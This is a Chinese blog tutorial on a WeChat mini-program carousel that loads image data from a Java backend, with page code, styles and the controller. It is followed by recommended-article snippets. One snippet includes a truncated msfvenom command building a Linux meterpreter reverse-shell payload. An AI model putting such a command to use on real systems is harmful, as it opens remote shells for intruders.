微信小程序接收后端数据并显示轮播图_微信小程序轮播图后端-程序员宅基地

技术标签: 微信小程序  

轮播图、是否自动轮播autoplay、修改轮播速度slider部分代码:
index.wxml

<view class="container" style="">
    <!--轮播图-->
  <swiper class="home-swiper" indicator-dots="true" autoplay="{
    {autoplay}}" interval="{
    {interval}}" duration="{
    {duration}}">
    <block wx:for-items="{
    {lunboData}}">
      <swiper-item>
        
        <image src="{
    {item.imgurl}}" class="slide-image" data-tourl='{
    {item.link}}'bindtap="changeurl" />
      
      </swiper-item>
    </block>
  </swiper>
  <button bindtap="changeAutoplay">
  change autoplay
  </button>
</view>
<view>
  <slider bindchange="changeInterval" show-value step="100" min="600" max="1800"/>
</view>


index.js

Page({
    
  /**
 * 页面的初始数据
 */
  data: {
    
    src: '/images/girl.png',
    name: 'Hello World',
  //轮播图配置
    autoplay:true,
    interval: 3000,
    duration: 1200
  },
  /**
 * 自定义函数--获取微信用户信息
	   */
  getMyInfo: function (e) {
    
    let info = e.detail.userInfo;
    this.setData({
    
      src: info.avatarUrl, //更新图片来源
      name: info.nickName  //更新昵称
    })
    console.log(info);

  },
  /*onLoad: function () {
    
    var that = this;
    var data = {
    
      "datas": [{
    "id": 1,"imgurl": "http://news.jiangnan.edu.cn/__local/9/F9/7C/EFECC58D5C9BD5AAB242A846E8C_6321FDE4_44A01.jpg"
        },
        {
    
          "id": 2,
          "imgurl": "http://news.jiangnan.edu.cn/__local/8/A5/D5/AD4930674E67DD550218B76192D_C5B38DBA_4B294.jpg"
        },
        {
    
          "id": 3,
          "imgurl": "../../images/51cp.jpg"
        },
        {
    
          "id": 4,
          "imgurl": "../../images/91cp.jpg"
        }
      ]
    };
    that.setData({
    
      lunboData: data.datas
    })
  },*/
 onLoad:function(options){
    
    var that = this;
    wx.request({
    
      url: 'http://localhost:8080/weixinlunbo',
      data: {
    },
      method: 'GET', 
      // header: {
    }, // 设置请求的 header 默认是application/json
      success: function (res) {
    
        var data = {
    
          "datas": [{
    
            "id": 1, 
            "imgurl": "",
            "link":""
          },
          {
    
            "id": 2,
            "imgurl": "",
            "link": ""
          },
          {
    
            "id": 3,
            "imgurl": "",
            "link": ""
          },
          {
    
            "id": 4,
            "imgurl": "",
            "link": ""
          }
          ]
        };
        data.datas[0].imgurl = res.data[0].img;
        data.datas[1].imgurl = res.data[1].img;
        data.datas[2].imgurl = res.data[2].img;
        data.datas[3].imgurl = res.data[3].img;
        data.datas[0].link = "image1";
        data.datas[1].link = "image2";
        data.datas[2].link = "image3";
        data.datas[3].link = "image4";
        console.log("autoplay:"+res.data[4].autoplay)
        that.setData({
    
          lunboData: data.datas,
          autoplay:res.data[4].autoplay
        })
      },
      fail: function () {
    
        // fail
      },
      complete: function () {
    
        // complete
      }
    })
  },
  changeAutoplay:function(){
    
      var that=this;
      if(that.data.autoplay==true){
    
        that.setData({
    
          autoplay: false
        })
      }
      else{
    
        that.setData({
    
          autoplay: true
        })
      }
    console.log("后"+that.data.autoplay)
  },
  changeInterval:function(e){
    
    var that=this;
    that.setData({
    
      interval: e.detail.value
    })
    console.log("轮播速度:"+e.detail.value+"ms")
  },
  changeurl:function(e){
    
    var url = e.currentTarget.dataset.tourl
    console.log( e.currentTarget.dataset.tourl)
    wx.navigateTo({
    
      url: url,
    })
  }
})

index.wxss

/* pages/index/index.wxss */
.container {
    
  height: 80vh; /*高100视窗,这里写100%无效*/
  display: flex; /*flex布局模式*/
  flex-direction: column; /*垂直布局*/
  align-items: center; /*水平方向居中*/
   /*justify-content: space-around;垂直方向分散布局*/
	}
/*	image {
    
    margin-top: 50rpx;
    margin-bottom: 50rpx;
	  width: 300rpx; 
    border-radius: 50%;
}*/
text {
    
  font-size: 50rpx; /*字体大小*/
  }
.home-swiper {
    
  width: 100%;
  height: 40%;
}

.slide-image {
    
  width: 100%;
  height: 100%;
}

后端部分代码:

 @RequestMapping("/weixinlunbo")
    public void weixinlunbo(HttpServletResponse response) throws Exception{
    
        JSONArray lunbo =new JSONArray();
        for(int i=0;i<4;i++){
    
            JSONObject lunbo1=new JSONObject();
            lunbo1.put("id",i);
            if(i==0){
    
                lunbo1.put("img","http://news.jiangnan.edu.cn/__local/9/F9/7C/EFECC58D5C9BD5AAB242A846E8C_6321FDE4_44A01.jpg");
            }
            if(i==1){
    
                lunbo1.put("img","http://news.jiangnan.edu.cn/__local/8/A5/D5/AD4930674E67DD550218B76192D_C5B38DBA_4B294.jpg");
            }
            if(i==2){
    
                lunbo1.put("img","../../images/51cp.jpg");
            }
            if(i==3){
    
                lunbo1.put("img","../../images/91cp.jpg");
            }
            lunbo.add(lunbo1);
        }
        JSONObject attr=new JSONObject();
        attr.put("autoplay",false);
        lunbo.add(attr);
    response.getWriter().write(lunbo.toString());
    }
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/qq_45128278/article/details/105999299

智能推荐

两种内存池管理方法对比_非固定大小的内存池-程序员宅基地

文章浏览阅读1.9k次,点赞4次,收藏11次。目录一、问题背景二、两种内存池管理2.1 固定大小内存块分配(参考正点原子STM32F4 malloc.c)2.1.1 初始化2.1.3释放原理2.2 可变大小内存块分配(参考WSF BLE协议栈buffer management)2.2.1 初始化2.2.2 分配原理2.2.3 释放原理三、总结和对比一、问题背景最近在调试ambiq apollo..._非固定大小的内存池

MPEG TS流简介-程序员宅基地

文章浏览阅读3.1k次。TS简介MPEG-TS(Transport stream)即Mpeg传输流定义于ITU-T Rec. H.222.0和ISO 13818-1标准中,属于MPEG2的系统层。MPEG2-TS面向的传输介质是网络和卫星等可靠性较低的传输介质,这一点与面向较可靠介质如DVD等的MPEG PS不同。1. TS数据包TS流由TS数据包即Transport stream packet组成。TS p...

Deepin wine QQ/微信中文显示为方块的原因之一_wine 字体方块-程序员宅基地

文章浏览阅读984次。问题原因:目录下~/.deepinwine,查找乱码的应用Deepin-QQ、Deepin-WeChat,相同路径/drive_c/windows/Fonts下查看是否有字体,笔者发现没有任何字体,这就是原因所致,wine程序会在此处寻找字体,而不能直接利用linux系统的字体解决方法:把/usr/share/fonts/Fonts_Win下字体复制到这里,使wine应用程序能找到至少一种fallback字体,也可以在别的地方的fonts问价夹下,拷贝.ttf字体文件到这里..._wine 字体方块

整个元素周期表通用,AI 即时预测材料结构与特性-程序员宅基地

文章浏览阅读264次。编辑 | 绿萝材料的性质由其原子排列决定。然而,现有的获得这种排列的方法要么过于昂贵,要么对许多元素无效。现在,加州大学圣地亚哥分校纳米工程系的研究人员开发了一种人工智能算法,可以几乎即时地预测任何材料(无论是现有材料还是新材料)的结构和动态特性。该算法被称为 M3GNet,用于开发 matterverse.ai 数据库,该数据库包含超过 3100 万种尚未合成的材料,其特性由机器学习算法预测。M..._人工智能预测材料属性

Docker & Nvidia-docker 镜像基础操作_dokcer怎么使用nvidia作为基础镜像-程序员宅基地

文章浏览阅读5.8k次,点赞2次,收藏25次。简述 docker & nvidia-docker感觉是深度学习的环境配置与部署简化很多,下面记录一下基础的命令,为自己后续用到查阅。在使用之前请先安装好NVIDIA驱动,CUDA以及docker & nvidia-docker的基本环境。docker & nvidia-docker 导入与导出镜像导出镜像:nvidia-docker save -o /save_p..._dokcer怎么使用nvidia作为基础镜像

测试生成攻击Linux操作系统的木马命令_linux msfvenom -p linux/x64/meterpreter/reverse_tc-程序员宅基地

文章浏览阅读312次,点赞6次,收藏9次。你看你以为黑客有多牛呢,都是在利用别人的工具呢。_linux msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=你的 ip lport=你监

随便推点

Ambari 2.7.3.0 安装部署 hadoop 3.1.0.0 集群视频完整版_ambari2.7.3 hadoop 部署-程序员宅基地

文章浏览阅读1.5k次。一、前言很多小伙伴也都知道,最近一直在做 Ambari 集成自定义服务的教学笔记和视频。之前在准备 Ambari 环境的时候,考虑到有朋友会在 Ambari 安装部署时遇到问题,所以贴心的我呢,就在搭建 Ambari 环境的时候,把这个视频录制好了,总共时长共 87 分钟,将近1个半小时,附带移除 SmartSense 服务及 FAQ 。也提前介绍一下搭建好的 Ambari 相关版本信息:..._ambari2.7.3 hadoop 部署

使用R语言保存CSV文件_r软件保存为csv文件-程序员宅基地

文章浏览阅读881次。本文介绍了如何使用R语言保存CSV文件。我们使用write.csv函数将数据框保存为CSV格式。您只需提供要保存的数据对象和文件路径,即可轻松创建CSV文件。CSV文件是一种通用的数据交换格式,在数据分析和数据处理中广泛使用。希望本文对您有所帮助,祝您在R语言中保存CSV文件时顺利进行数据处理和分析!_r软件保存为csv文件

VR技术赋能数字经济发展新机遇,加快构建双循环新发展格局_vr商城建设对区域经济-程序员宅基地

文章浏览阅读498次。当下,数字化浪潮正重塑世界经济发展格局,数字经济正在成为全球经济可持续增长新引擎。我国超大规模的市场经济优势为数字经济发展提供了广阔而丰富的应用场景,也成为推动传统产业升级改造、加快”构建国内国际双循环相互促进的新发展格局“的重要引擎。据国家统计局数据显示:2020年第一季度,我国GDP呈现出6.8%的负增长态势。今年1月份至5月份,与互联网相关的新业态、新模式却继续保持逆势增长。全国实物商品网上零售额同比增长11.5%;实物商品网上零售额占社会消费品零售总额比重为24.3%,比去年同期提高5.4个百分点_vr商城建设对区域经济

HCS12X–数据定义(如何在CodeWarrior中将数据定义到分页区)_codewarrior数组如何定义-程序员宅基地

文章浏览阅读384次。由于在暑假匆忙接收的嵌入式项目中需要使用特别大的数组,非分页RAM的内存不够用了,没办法,硬着头皮尝试使用分页RAM,但是完全没有单片机的基础,导致极其的困难。之前写程序都是按照纯软件的思维,主要考虑架构,不会考虑到每个变量具体存在哪个物理地址这么底层的问题,结果被飞思卡尔这分页地址、prm文件什么的搞得一头雾水,而网上的资料又少,讲的又大同小异的笼统,最后写出来的程序因为这分页地址的原因存在各种_codewarrior数组如何定义

wed服务器简介_wed服务器的主要特点之一就是它具有十几个html文件连接到另一个html文件的能力称为-程序员宅基地

摘要:Web服务器是用于提供Web服务的软件,它通过HTTP协议来传输和接收网页和其他资源。在Inteet上,HTTP通信通常在TCP/IP连接上进行,使用端口号80。Apache是一种常见的Web服务器软件,其主程序为httpd,根目录为/var/www/html。

Python调用C++举例_cmake编译 python调用c++ so文件-程序员宅基地

文章浏览阅读435次。使用ctypes模块直接加载so函数为:ctypes.cdll.LoadLibrary("so文件路径")_cmake编译 python调用c++ so文件

推荐文章

热门文章

相关标签